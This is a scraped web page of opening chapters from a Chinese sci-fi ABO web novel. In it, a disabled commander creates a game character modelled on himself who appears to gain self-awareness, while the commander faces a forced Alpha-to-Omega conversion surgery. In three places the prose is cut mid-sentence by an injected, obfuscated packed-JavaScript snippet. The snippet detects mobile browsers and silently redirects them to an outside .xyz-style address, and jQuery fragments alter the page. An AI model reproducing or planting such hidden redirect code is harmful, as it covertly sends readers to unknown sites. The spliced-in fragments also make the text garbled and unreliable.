《拥吻神明》 1. 完美造物 余烬。 顾瓷看着这个名字,这是他一字一句构造出来的角色,是他弥补自身遗憾的完美幻想。 顾瓷顿了顿,在设定面板中写下一行文字,“余烬会永远忠于顾瓷。” 文字被数据转化导入虚拟世界中,顾瓷看向眼前的光屏影像。 虚拟投射的星际战场中,余烬脱下机甲站在无数虫族的尸骸之上。 他虔敬地单膝下跪,目光深邃,“余烬将永远衷爱我的神明。” 余烬的样子好像穿透了虚拟的光屏,在真切地向他示以永恒的爱和臣服。 顾瓷微怔,他陷死在了这种心脏悸动的微妙感觉中,甚至忽略了余烬的话和他设定台词的差异。 顾瓷驱动轮椅向光屏前挪近了些,他伸出手轻轻碰了碰余烬的脸。 这张脸和顾瓷有九分相似,却有着不同于顾瓷的冷毅,余烬身上充斥着久征战场的杀戮气息,这是顾瓷心目中一个Alpha真正该有的样子。 这是他最完美的造物,拥有他可梦而不可得的强大体魄。 终端上突然弹出一个视频申请,顾瓷回过神,扫了眼名字后按下接听键:“顾少将。” 视频里一身军装的俊逸男子听到顾瓷的称呼,语气有些失落:“小瓷还生气呢?都不叫哥哥了啊,你这两天怎么样?有好好照顾自己吗?” “嗯。”顾瓷低低应了一声。 “星际遗迹那场战役的事……陆家已经道歉了,陆煜被送上了联邦军事法庭,判决书很快就会下来。”顾雾航小心翼翼地注意着自家弟弟的神色。 顾瓷低敛的睫羽微颤,他平静地说:“撤诉吧,陆煜是陆家独子,上了法庭也掉不了几根头发,而且不必为我毁了陆顾两家的世交情谊。” “可如果不是陆煜那小子战场上临危脱逃抛下你,你的腿也……!”顾雾航语气激动。 “不怪他,宁昭延说得挺对,先天性心脏病身体孱弱得不如一个Beta士兵的指挥官,在战场上也只会是主攻手的累赘。”顾瓷神色冷淡。 “小瓷,你别听宁家那混账小子放屁,没有你,他宁昭言和陆煜两个莽撞的愣头青不知道被虫族俘虏多少回了!”顾雾航真见不得宝贝弟弟一脸神伤的样子。 “好烦……”顾瓷语气冷漠地闭了闭眼。 一脸怒色越骂越脏的顾雾航瞬间止了声。 “哥,下次回来,家里的虚拟游戏设备帮我换成全息投影的吧。”顾瓷轻声开口,然后挂了视频。 顾瓷长叹了一口气。 他注视着光屏里那个浴血而战无不胜的余烬,心动神往地说:“我的身躯再强健些,或许就不会是被舍弃的累赘了。” “我不怪陆煜,是我算漏了自己的弱小才让第一舰队陷入险境。”顾瓷低声笑了笑,语气嘲弄,“我只是难过,在我说我有办法突围时他毫无信任地弃了我。” “余烬,身为另一个世界的我,也会嫌恶病弱累赘的顾瓷吗?”顾瓷看着他方才写下的那句文字设定,神色难过。 如果余烬听得到顾瓷的话,他会紧紧拥抱他,他会告诉顾瓷,“永远不会。” 但余烬听不到,维持下跪姿势的他只是突然感受到,创造他的神明此刻极为悲伤。 是他做错了什么吗? 余烬情绪也跟着低落,他不知道该怎么取悦他的神明。 顾瓷告诉了余烬他的存在,余烬也一直知道他的创造者会时常注视他,那些时候他总是会被某种意念支配着做某些事。 比如方才,他心里就生起一股向他的神明臣服宣誓的热忱。 渐渐地,他甚至能感知到那位的情绪。 余烬一点都不排斥这样的感觉,他甚至渴望他的创造者更多的注视,渴望更多地感知那位的意念。 被他的神明支配和使用,他甘之如饴。 余烬低垂着头,他摘下尸骸缝隙间被鲜血浇灌生长的小野花,缓缓起身,将小花递向空无一物的前方:“送给您,别难过。” 顾瓷注视着那张冷毅的脸上示好的浅笑,怔了一下,他伸手碰了碰光屏中的那朵小花,敛了难过的神色,笑了起来。 托管状态还有福利彩蛋的吗? 被治愈到的顾瓷心情不错地关了游戏,他点开通迅器叫人送午餐过来。 但送全息游戏影像设备的人比送午餐的先到,顾雾航的视频通迅刚被挂断,他就立刻安排人把顾瓷要的东西送来了。 顾瓷看着进出游戏房忙上忙下的安装工,扫了一眼自己没有知觉的双腿,他目光低敛地用刀将羔羊排切剁成小块送入口中。 真不爽啊,这副废物模样。 顾瓷身为一个精神力S级的Alpha,身体却从小比正常Omega还娇弱。他患有先天性心脏病,身体甚至孱弱到不足以支撑他更换一颗健康的心脏。 陆煜曾经取笑地说,顾瓷的瓷是瓷娃娃的瓷,他好像一碰就碎的瓷玉,娇贵得很。小时候的顾瓷,甚至跑两步都要满脸涨红上气不接下气地喘息。 顾瓷付出了比常人多千百倍的努力,才站在星际战场第一舰队指挥官的位置上。 然后,他在一个月前的遗迹之战中被他的主攻手抛弃了,沦为双腿尽断的废物。如果不是宁昭延知道陆煜丢下他后,折返那片被虫族淹没的废墟救他,他会绝望地死在废墟中。 比起恨其他人,他更厌弃废物般的自己。 顾瓷持着餐刀切羊排的手一点点用力,他目光冰寒。 有陆家施压,就算等顾雾航用军功兑换特级治疗仪的使用权限医治了他的腿,联邦军方也不会再批准他这个“意外源”重回战场。 顾瓷其实一点都不想当坐在星舰副座的指挥官,他渴望亲手操控机甲,渴望站在战场中撕裂每一只丑陋的虫族。 “好烦啊。”顾瓷闭了闭眼睛,压下强烈的渴望和自我厌弃。 情绪激烈时,他的心脏会暴发自我毁灭般地疼痛,顾瓷皱了皱眉,很久之后他紧握着餐刀的手才一点点松开。 再睁开眼时,顾瓷目光平静。他习惯了这种痛苦的情绪抑制,这是套在他生命上的的枷锁,却又让他得以存活。 “余烬。”顾瓷轻声念着这个名字,难过地笑了下,“要是现实里的顾瓷,能是余烬就好了。” 没了吃下去的胃口,顾瓷叫家政机器人收拾了餐桌。 回游戏房的顾瓷看了眼四个墙角安装好的全息影射设备,重新打开这款名为“世界”的游戏。 这是款自主创作的拟真游戏,在设定面板写下的文字会自动数据转化出描述的场景,持笔者可以任意在游戏中构建他想要的世界。 联邦里有不少年轻人,用它拟化出虫族战场满足自己热血的战争梦。 顾瓷在“世界”中创造了和现实一模一样的虚拟,他甚至复刻自己的基因数据创造了余烬,他一字一句设定了完美的另一个自己。 这是顾瓷造的梦。 全息影像映射在房间中,顾瓷仿佛身临其境,画面中的余烬已经回到了星际战场外的驻扎基地,他怀里还护着那朵想要送给顾瓷的小野花。 关闭游戏后“世界”里的时间线并不是静止不动的,它拥有数据自主衍生功能,会自动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15888616|176470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 托管“世界”。 看着眼前的余烬小心翼翼地把小花栽在花盆里,顾瓷唇角微扬,他发现,余烬好像总是有些和他冷毅外表相异的温柔。 顾瓷伸出纤白的手,想去捋俯身的余烬压皱的衣领,他淡漠的眉眼中也融了几分温柔。 顾瓷的手从余烬的全息影像上穿过,顾瓷回过神……终究,还是两个世界的啊。 梦是碰不得的,一戳就破。 余烬察觉到衣领间一道很轻的风拂过,他愣了一下,封闭基地里怎么会有风。 余烬好像在那一瞬间,感受到了他神明的存在,这一次……不像是隔着什么注视着他,而是就在他旁边。 余烬猛得抬头,目光中压抑着激动,他看着空无一物的四周,虔敬地询问:“……您在这里吗?” 顾瓷正正地对上了余烬那双深邃而痴热的眼睛。 顾瓷诧异了一瞬,他不知怀着什么心情在设定面板上写下,“顾瓷告诉余就,他一直与你同在。” 那个念头抵达了余烬的心中,他知道自己收到了来自神明的回应。 余烬的灵魂像是在这一瞬彻底燃了起来,他那颗冷静的心脏从来没有像此刻一样疯狂地跳动过。 余烬声音颤抖:“您可以再碰碰我吗?” 顾瓷碰了碰余烬的脸颊。 余烬睁大了眼睛,他刚才感受到了神明的抚摸,他几乎下意识地就去抓了那道微不可觉的风。 意识到自己在做什么的余烬紧张地低下头:“冒、冒犯到您了。” 余烬刚刚有一瞬间抓住了顾瓷的手腕,虽然只是一掠而过的虚影,但还是让顾瓷心中生出了些异样。 他总感觉,眼前的场景已经脱离了彩蛋互动的范畴了。 顾瓷看着余烬,抬手在设定面板上写下了一个月前的那场遗迹之战,他写了很久,刻画了他记忆中的每一个细节。 顾瓷想让噩梦在余烬身上降临一次,再看余烬击碎它。 余烬手上的终端通迅器突然亮了亮,他看到军方下达指令,让第一舰队向被虫族占领大半的星际遗迹C区发起佯攻,之后和攻入B区的第三舰队和第七舰队汇合,直击虫族基地。 余烬敏锐的直觉预感到极强烈的危险,但他没有任何犹豫地登上星舰,带着他的舰队驶离了基地。 余烬知道他在被他的神明使用,所以刀山血海他也愿意身赴。他为神明的意愿而战,他绝不会输。 正常的舰队都配有一名指挥官、两名主攻手、二十名辅攻手和二十名侦察兵。但余烬的第一舰队主攻手和指挥官都由他一人担任。 没有人对这一点有异议,因为余烬在每一场战役中都所向披靡从无败迹。 但今天,余烬迎来了他人生中的第一场败局,是血肉模糊般的惨烈教训。 遗迹B区的虫族比军方推测的兵力多了十倍,军方下令让C区佯攻变主攻以缓解B区两支舰队承受的高压。 余烬的第一舰队攻入虫族领地后,得到了第三舰队和第七舰队被全歼的噩耗,第一舰队在没有支援的情况下被虫族反包。 星舰被袭击后撞毁在了废墟中,余烬所操控的机甲右腿和右臂被激光刀整面切断,暴露出中心的机甲操控室。 “队长,你快走!”身上被虫族的镰刺洞穿了两个血窟窿的辅攻手最后一刻都还挡在丧失攻击力的余烬面前。 那是个比余烬还小两岁的新兵,以今年军校第一的优秀成绩入编第一舰队,平日里经常追在余烬后面“队长队长”地喊着。 余烬看着眼前这一幕,心脏像被死死捏住般窒息。 2. 困境逢生 余烬不明白,在他的精密布署下,这突围的一战虽险难却尚有一战之力,为什么,为什么局面会突然像受到不可抗力般轰然崩塌。 余烬痛苦地察觉,他的神明在将他推向深渊。 机甲最后的能量也耗尽了,余烬摔落在尸骸遍布的废墟之中,黑压压的虫潮即将踏过残余几名侦察兵最后的坚守防线。 “是我冒犯了您,求您只责罚我一个人,求您别牵连他们。” 余烬茫然而难过地祈愿着,如果他的神明想看到他的死亡与毁灭,那他欣然接受。 看前眼前完全丧失了斗志的余烬,顾瓷眉头皱得极紧。 他将遗迹之战尽可能还原地投放进了游戏,却没有干预余烬,“余烬”本身的设定已经趋于完美了,他很想看这场战役余烬会怎样应对。 但怎么会这样,余烬身上的伤根本没有到让他无法行走、无法防御、无法下达自救指令的程度。 一个月前的遗迹之战,顾瓷面临的情况远比余烬此刻惨烈得多。 顾瓷在和陆煜发生分歧后,陆煜单方面切断屏敝了他的指挥通讯,指挥室的星图没有陆煜那边战场的视野等同瞎了一半,星舰紧接着防备不及地被虫族从盲区突袭撞毁。 顾瓷双腿被压在星舰残骸下,通迅器摔落在他眼前半米的废墟之下,他喘息着用尽全力去够通迅器。 下一瞬,被炮火轰炸的废墟动荡,残墟掩住了那个小小的通讯器。 几片星舰残破的铁皮滑落下来,算不幸也算幸远,没有砸在顾瓷的身上,却支起狭窄的空间将他掩没在了废墟之下。 分属陆煜的那二十名辅攻手和侦察兵收不到主攻手和指挥官的指令,只能咬牙死战。透过残墟的缝隙,顾瓷看到他们陆续被虫族缴械后俘虏。 虫族将麻痹行动神经的毒针刺入人族俘虏的身体,然后将无数虫卵埋在不死不活的人族的身体中,人族鲜活的身体会成为虫卵的孕体和幼虫的养料。 人族会意识清晰而痛苦地知道身体上发生的事情,直到血肉和内脏都被孵化的幼虫吃掉才会彻底死去。 而这残忍的一幕,就发生在顾瓷面前。顾瓷的心脏从来没有那样疼痛过,他差点死于心脏痉挛的窒息。 顾瓷给余烬设定的厄境有所保留,他没让余烬彻底直面他曾面临过的绝望和残忍。 仅仅这种程度的挫折竟让余烬颓败至此,顾瓷说不上来得失望和生气。“余烬”不该是这个样子,顾瓷完全无法忍受他设定中完美强大的余烬像个废物。 顾瓷看着眼前和他长着同一张脸的余烬,逐渐冰冷的目光如同在看一个毫无价值的垃圾。 一瞬间强烈的自我厌弃感涌上心头,顾瓷深吸一口气,要去手动更正余烬的设定。 在余烬自我放弃的那一刻,余烬清晰地感知到了他的神明对他的厌弃。 一瞬间像是被尖锐的刀剜着心脏……神明的厌弃,这是比死亡更让余烬难以接受千万倍的事。 “不要,求您不要厌弃我。”余烬崩溃地祈求。 余烬开始慌乱地揣度起神明的意愿,他想起他的神明一直在教他强大,那这会不会是一场试炼,他的神明希望他赢下这场死局将定的战役。 强大的信念支撑余烬从废墟中站起来,那一瞬间,极端恐怖的气息从他身上迸发出来。 余烬本就顶级的精神力二次进阶。 几乎凝为实质的精神力瞬间笼罩了整个遗迹战场,万物静止,虫族和那几名负伤的侦察兵都动弹不得。 顾瓷看到突然间除余烬以外所有画面都定格住了,他心中生出一股莫名的期待,删掉了他笔下还未输全的文字。 余烬手中出现一把泛着镭射光泽的金属长剑,那是他凝出的精神实体,长剑上涌现着让空间都扭曲塌变的恐怖力量。 余烬高举起剑用上所有力气,将长剑插入这片废墟之地,刹时间,以长剑为中心掀起一道狂烈的风暴,残骸堆聚成山的废墟夷为平地。 房间内的全息影像甚至支撑不住地闪烁了几瞬。不过顷刻间,影像中数以万计的虫族都化成了废墟中的尘埃。 顾瓷屏息,在余烬身侧的他身置风暴中心,直视了这场视角盛宴。顾瓷捂住心口,他的心脏第一次因为如此强烈的喜悦和悸动而疼痛。 顾瓷惊叹的目光落回到余烬身上,却怔住了,他看到强大到几乎可以封神的余烬……在哭。 超过身体承受极限的精神力耗尽,余烬意识模糊,却一直支着手中的金属长剑不让自己的身体倒下去,他怕极了他脆弱的姿态被神明不喜。 余烬无意识地流着泪,不断地低喃:“不要厌弃我,求求您,不要……” 顾瓷沉默,他在设定面板上写下,“顾瓷永远不会厌弃保持强大的余烬。” 顾瓷关掉游戏,他久久不能从刚才的震撼回过神,他面露痛色地将手按在心口处,微微喘息着等那颗狂跳的心脏平缓下来。 余烬那一刻向死而生的惊人强大,实在太让他着迷了。 好想成为余烬,好想拥有余烬那样强大的身体,顾瓷自我带入了一瞬,他奢望他所造的这场长梦永不醒来。 但终端通讯器上轮番轰炸的消息扰了顾瓷的清梦。 点开消息,入目的第一条是标红的热点推送——弱小Alpha改造成Omega的联邦法案正式通过审核并全面实施。 那一瞬间,顾瓷如置冰窖。 Omega数量极度稀缺,联邦多数强大的Alpha优秀的基因都无法被延续。弱小Alpha有着优于Beta的基因,身体强度也足够他们承受这种残忍的改造手术。 优胜劣汰是基因进化的必然选择,两年前就有人提出这条疯狂且湮灭人性的法案。 但这条法案对顾瓷这种身体病弱的Alpha来说,形同死亡通知单。 两年前这条法案被拥有联邦军方大半话语权的顾、陆、宁三家联合驳回了,顾雾航那么骄傲的人,为了保护顾瓷不惜欠下陆宁两家的人情。 如今这条法案被重提,背后明显是陆家的手笔。 消息再往下一条,是联邦政府判定他属于弱小Alpha要求他三日内配合接受改造手术的通告。 顾瓷手一点点攥紧,他好不容易平缓的心脏因为气愤再次狂跳起来,顾瓷面色涨红地喘息,生生呕出一口鲜血来。 顾瓷只感觉自己被彻骨的寒意裹挟,陆煜让他死一次不够,还要逼他死第二次。 “哥……”顾瓷颤抖着联系顾雾航,但顾雾航像是被什么事情绊住了,很久之后才接通视频通迅。 顾雾航看到顾瓷苍白的脸色和嘴角溢出的鲜血,心口一阵揪疼。 这位战场上临危不惧的强大少将此刻的语气却慌乱无措:“小瓷……别怕,哥哥会想办法的。” 顾雾航没想到那个说被送上军事法庭的陆煜竟然连拘留都没被拘留,甚至大摇大摆地出现在了军事基地。 他撤诉的申请材料才刚交上去,转头就看到了陆家的大手笔,陆家居然在前两日废案重提并且用掉了一票决定权。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15888617|176470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>而他居然在法案实施这天才得到消息。 顾雾航神色担忧,他几乎是咬牙切齿地交代:“小瓷这两天锁好门别出去,任何人来找你都不要理,我会尽快赶回去。” “好。”顾瓷目光低敛着应下。 顾瓷将别墅的安全防御和警戒都升到最顶级,终端通讯器上会不断发来提醒催促他配合改造的通知,顾瓷索性摘下来扔进柜子里。 顾瓷没有叫餐,也没有再与外界进行任何联络,他安静地在屋里待了一宿,然后糟糕地发现,他的易感期来了。 打了抑制剂的顾瓷无力地蜷缩在床上,他的状况不是很好,他敛不住他的信息素,易感期的他神经敏感脆弱并且渴望得到安抚。 顾雾航应该是被陆家故意绊住了,迟迟没有回来,顾瓷心中的不安愈重。 易感期第四天,顾家别墅的门突然被轰开了。 专门来逮人的陆煜带着一群持械的士兵在顾家扫荡了一圈,走到卧室时,陆煜突然闻到了熟悉的信息素。 几乎是下意识,陆煜啪得一下把门堵上将其他人关在了卧室外。 那是如同冬雪般气息的信息素,淡到几乎没有味道,只是闻起来会有一种冰冷清新的感觉。和顾瓷身上那股子清冷劲儿倒是很衬,并且很废物,没什么攻击性。 陆煜看着躺在床上对他的到来毫无反应的顾瓷,上前一把掀了顾瓷的被子。 一瞬间更浓烈的冬雪信息素扑面而来。 床上的顾瓷面容苍白艷丽,眼角微红,单薄的衣衫被他难受时揉皱地有些凌乱,露出来的手脚和颈脖皮肤白皙漂亮得如同瓷白玉,像个脆弱娇美的瓷人儿。 陆煜心脏颤动了一下。 但他嘴上却轻佻讥讽地说:“顾大指挥官这副模样瞧着可真可怜,不过没关系,这是你最后一次度过Alpha的易感期了。” 说着陆煜就伸手去捞起顾瓷,察觉到顾瓷微弱的挣扎,他恶劣地释放出自己伏特加味的烈酒信息素笼罩住顾瓷。 易感期的神经本就敏感脆弱,Alpha的信息素又互斥,陆煜带有强烈侵略性的信息素压得他几乎喘不过气,顾瓷痛苦地皱着眉,声音微弱:“呜……,滚。” 这话让陆煜将抱改为拽,顾瓷被强行拖下床,他双腿无力地垂在地下,像任人欺辱摆布的布偶。 不过才轻轻磕碰一下,顾瓷脆弱的身体上就露出大片的淤青。 陆煜“啧”了一声,还是抱起了顾瓷,他将顾瓷押进了划分出来专门做Omega改造手术的医院。 临时医院的环境很差,到处都是其他弱小Alpha妄图抵抗改造手术的哭喊声。 被强行按在冰冷手术台上挣扎不得的顾瓷身体颤抖着,比起做完改造手术后可能面临的死亡,强烈的无力和屈辱感更让他难以喘息。 顾瓷在战场绝境中都没有流泪,此刻却无声地哭了出来。 仗着特权站在手术室的无关人员陆煜,肆意地欣赏着顾瓷这副脆弱的姿态,他心中生出悸动,话不过脑子地飘出一句:“你他娘的哭起来可真好看。” “陆、煜。”看着即将强行注射进腺体的针管,顾瓷声音哽咽也盖不住那份咬牙切齿的恨意。 针管刺破腺体,感受到催化激素逐渐注入身体的顾瓷突然觉得浑身血液冰凉。这只是改变信息素属性的第一步,之后他的身体还会被强行催化出孕殖腔…… 那一刻顾瓷绝望地想,死了算了。 那支针剂在注射进十分之一时,手术室的门被突然撞开。 3. 爱意难扼 不顾一切赶回来的顾雾航带着手底下的军队包了医院,他一间一间地撞开所有手术室的门。 当顾雾航看到医生给顾瓷注射不明针剂时,暴怒地他手中激光枪的射线几乎从那医生的脑门擦过。 顾雾航一脚将颤颤巍巍的医生踹开,他动作暴力又轻柔地解开顾瓷身上的束缚带。 顾雾航紧紧抱住不断颤抖的顾瓷,他陷在差一点就失去顾瓷的惊惧和后怕中:“小瓷……” “顾少将这是做什么?顾瓷作为联邦公民,服从新推行的法案是最基本的责任。”陆煜看着眼前兄弟情深的一幕,面色嘲讽地说。 他不信顾雾航敢公然对抗联邦律法。 军方虽然在联邦有最大的话语权,可以决定一条法案是否被通过,但法案若已被联邦敲定推出,那就是如山的铁律,军方也必须遵守。 “陆、煜!你怎么敢!”顾雾航抬起手中的激光枪一阵扫射,几乎想当场弄死眼前这个罪魁祸首。 陆煜从容闪避,身手矫捷地躲过所有射击,锋锐的射线在墙上地上天花板上留下焦灼尖锐划痕。 陆煜讽笑着,面上毫无惧色地说:“我做的事合法合规,我有什么不敢的。倒是顾少将你,在公众场所对我出手才是肆意妄为吧。” 一心想搞死陆煜的顾雾航突然被顾瓷拉住了,被注射的催化激素紊乱了顾瓷的信息素,让他提前结束了易感期,顾瓷的精神已经脱离了混沌。 但顾瓷眼中冷漠得没有半分生气,他突然开口问:“陆煜,如果我变成了Omega,你会娶我吗?” 所有人都惊住了。 陆煜想起顾瓷今天那副褪下冷漠壳子脆弱娇美的一面,居然鬼使神差地认真思考起了这句话。 但陆煜那张臭嘴里说出的话全带着羞辱性:“娶,别的不说,如果你是Omega,光是你这张脸,我看着都能硬。” 顾瓷突然笑了起来,像是冬日中破开冰雪傲然盛开的清莲,一瞬间让所有人看痴了。 顾瓷背靠在顾雾航怀中,他看向陆煜的眼底冰冷如覆雪:“陆大少,你喜欢我对吗?” 喜、喜欢……陆煜掩藏在恶行下那些不齿的爱意被扒出来放在众人面前凌迟。 陆煜脸上露出难得的慌乱,像是个被捅破心思的坏小孩:“你、你别乱讲。” 但所有人都能看出来他的欲盖弥彰。 顾瓷脸上笑意愈盛,眼中寒意愈重:“一个临危抛下自己指挥官的主攻手,也会是个危险时刻抛下自己Omega的人渣Alpha吧,陆煜,你真让我恶心。” 陆煜瞬间明白顾瓷是在耍他。 陆煜面色涨红,他怒不可遏地想冲上去揍顾瓷:“顾瓷你他妈找死。” 顾雾航接住陆煜的拳头用上狠劲儿顺势一掰,然后一声命下让他带来的士兵把腕带断裂的陆煜制服捆住。 顾雾航一手抱着顾瓷,他抬脚踹在了陆煜身上,然后捡起地上那支还剩大半的催化激素塞在顾瓷手中,将针头抵住陆煜后颈的腺体。 “顾雾航,你他妈疯了吗?!你这样对我陆家不会放过你的。”陆煜明显被吓到了。 “我就是疯了!这军衔老子不要了,这联邦的疆土老子不守了!顾瓷就是我顾雾航的命根子,你们想他死,我就要你们都死!”顾雾航也发了狠。 顾瓷的手抖了抖,尖锐针头刺破了陆煜的腺体,陆煜瞬间面色惊惧浑身僵硬。 顾瓷嘲讽地笑了下:“你陆大少也有怂成这样的时候啊。” 顾瓷松开手中的针剂,回头抱住顾雾航的脖子,将头靠在顾雾航的肩膀上,他像是累极了般轻声说:“哥,回家吧。” 顾雾航心疼地拍了拍顾瓷的后背,一脸晦气地再踹了陆煜几脚,转身离开手术室。 陆煜不明白顾瓷为什么会突然放过他,但他永远不会忘记那扇手术门关上的最后一刻,顾瓷向他看过来的眼神。 像是看臭沟里的蛆虫,极端厌恶和蔑视。 回到家的顾瓷一连很多天都神色郁郁,不说话不吃饭,什么也不做,时常呆坐在那里空洞得像没有灵魂的人偶。 顾雾航急得团团转,军方和政府的高层对于他之前的行为频繁向他施压,但顾雾航理都不理,他寸步不离地守着顾瓷,变着花儿得想哄顾瓷开心些。 可顾瓷的状态许多天都不见好转。 顾雾航终于绷不住了,他一个铁骨铮铮的少将抱着顾瓷崩溃地哭了出来:“小瓷,小瓷对不起,是哥哥的错,是我又没保护好你,你说句话好不好,你别吓哥哥。” 顾瓷小时候去军事训练场找顾雾航,被几个时常找顾雾航茬儿的军官推进特训兵训练的泥沼地里,只有半人高的顾瓷差点溺窒在那片泥潭里。 顾雾航把受了惊的顾瓷救回来时,顾瓷也像这样魇着了的模样,顾瓷患上了失语症,一连两年一句话都没有说过。 顾瓷看着顾雾航的眼泪,像是终于有了些反应,他伸手擦了擦顾雾航的眼泪,很久之后声音微弱地说:“哥哥不哭,小瓷没事。” 一如多年前顾瓷失语症治好时说出的第一句话。 顾雾航一脸狂喜地摸了摸顾瓷的头:“没事就好,没事就好,小瓷想吃什么东西吗?” “晚一点吧,我想玩游戏,哥可以抱我去游戏房吗?”顾瓷轻声问。 “好。”顾雾航微怔,将顾瓷抱过去。 “谢谢哥哥,你先出去吧,我想一个人玩儿。”顾瓷冲顾雾航轻笑了笑,“对了,晚上我想吃炭炙小兔排和冰鱼羹。” 看到顾雾航安心地关上门后,顾瓷打开了游戏。 全息影像中的余烬蜷缩在基地的病床上,那场战役余烬爆发的精神力超过了身体负荷,他最后被负伤的侦察兵一路拖回基地,在床上瘫了十天。 而这十天,余烬一次都没感知到过他的神明出现。余烬一天比一天不安。 即使身体动弹一下肌肉和神经都像被千万根针扎过,余烬也每天都拼命地想让自己重新站起来,他想让自己在任何时刻不露出弱小的姿态。 在余烬挣扎着勉强能坐起来时,他终于再次感知到了他的神明。 余烬瞬间敛了所有的难过,面上神情坚毅冷峻,语气却紧张地说:“您、您回来了。” 顾瓷看着余烬出神……一些不切实际的幻想,能换取他压抑的灵魂短暂的喘息。 余烬全身神经绷紧,强大的信念支撑起千疮百孔的身体,为了证明自己的余烬熬着剧痛站了起来,他右手握成拳放在胸口向顾瓷行礼。 正正对上余烬这一礼的顾瓷微怔,若一次两次可能是巧合,可余烬……顾瓷目光闪烁地在面板上写下,“你看得见我?” 不是写设定的句式,而是直接的询问。 顾瓷看到余烬愣了一瞬,然后语气虔敬地回答他,“看不见,但能感知到您的存在,您此刻就在我面前。” 顾瓷的内心掀起轩然大波,如果之前余烬的行为都不是巧合……那余烬就是拥有超过设定范畴的自我意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15888618|176470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识。 这一次不是感知到意念,是神明在心中直接和他对话!但余烬才刚激动了片刻,就察觉到了神明的戒备和疏离。 他瞬间跪了下来:“我不会向任何人暴露您的存在,请相信我对您绝对的忠诚。” 余烬眼中的炽热虔诚让目光相对的顾瓷心脏被烫了一下。顾瓷目光微敛,他怕什么呢,反正隔着虚拟与现实这道无法跨越的鸿沟。 最坏的结局,也不过是游戏脱离他的设定后崩坏。 余烬的存在确实超脱了正常创造的虚拟角色,因为没有人会在一个虚拟角色上复刻现实世界的人的基因数据。 顾瓷创造余烬时,就已经不仅仅是把他当做一个虚拟角色对待了。 “世界”里最强大的存在,正跪在地上仰头看着他,顾瓷怀着微妙的心情伸出手,摸了摸余烬的头。 手指穿过虚影,余烬头发的投影落在顾瓷手上,像是将手一整个揉进了余烬的发间。 余烬能感受到他的触碰……想到这点的顾瓷目光闪烁,下一瞬,他将手放在余烬心口,然后穿过胸膛摁了进去,像是捏住了余烬的心脏。 余烬瞳孔微缩,他伸手捂着感受到轻微异样的心脏,虔诚地低下头:“您想要我的心脏吗?我剖给您。” 余烬捂着心脏的手像是覆住了顾瓷的手掌,顾瓷微顿,将手收了回来。 他在设定面板上写下,“不用,我不需要停止跳动的心脏。” 余烬的心跳不可遏止地加速,与神明对话的悸动让他已经掩不住那份炽热爱意:“它将永远为您而跳动,直到我的灵魂湮灭。” 顾瓷看着余烬,这种并非出于设定的宣誓告白的话让顾瓷压不住心中的异样,他迟疑地写下,“我支配控制着你,可拥有自我意识的你,似乎并不厌恨我?” 正常来讲,没有人喜欢命运灵魂自由都被支配。 顾瓷想起余烬在遗迹战役中自我放弃的那幕,皱了皱眉,那时的设定就有了偏离,“余烬”不该也不可能有自弃的想法。 如果是因为萌生自我意识不想再被控制,那就说得通了。 所以眼前余烬的虔敬忠诚都是装的,顾瓷目光微沉,一瞬间的心绪百转千回。 余烬感觉到了神明的怀疑,他几乎快被难过淹没:“您是我的创造者,我是完完全全属于您的,我甘愿被您支配。” 像条卑微的狗……为了摆脱控制伪装出这幅伏低做小的姿态,顾瓷目光逐渐冰冷,他厌恶这样的余烬。 顾瓷其实不介意余烬有独立意识,但眼前的余烬,已经不像他的“余烬”了。 被神明厌恶的绝望再次包裹余烬,他突然感觉到一道又一道的指令形成意识枷锁捆住了他,他的灵魂被困在了狭隘的意识牢笼里,挣不破,也无法再控制自己的身体。 余烬看着自己变成了一个只会遵从设定思考的冰冷的人形杀器。 这就是他的神明想要的吗?余烬安静顺服地待在一片黑暗混沌之中,没关系,这样也好,只要他的神明仍旧常与他同在,他甘愿灵魂服这场漫长无尽而黑暗的刑役。 剥离压制了余烬情感和意识的顾瓷,看着眼前只剩下一副强大的壳子的“余烬”,无论他再添多少设定,他仍旧觉得“余烬”残缺、不完美。 他拼命挣来的人生已经被毁了,如今连他为自己造的梦,都变得面目全非。 心口微窒的顾瓷深吸一口气,翻看着他曾经一字一句写下的文字设定,指尖停在了那个删档键上。 4. 悖逆命运 门外的顾雾航突然敲了敲门:“小瓷,晚餐备好了,出来吃饭吗?” “马上来。”被这么一下打断决定的顾瓷闭了闭眼睛,他没有按下删档键,反倒将剥离余烬情感意识的设定撤除。 顾瓷看到余烬的那双眼睛中再次亮起炽热虔诚的神奕,微怔。 顾瓷还以为会对上余烬冰冷仇恨的目光,毕竟他被剥夺身体操控权被压制意识,那种无力绝望感能让一个意识体疯魔,他不可能在这种状态下还保持毫无破绽的伪装。 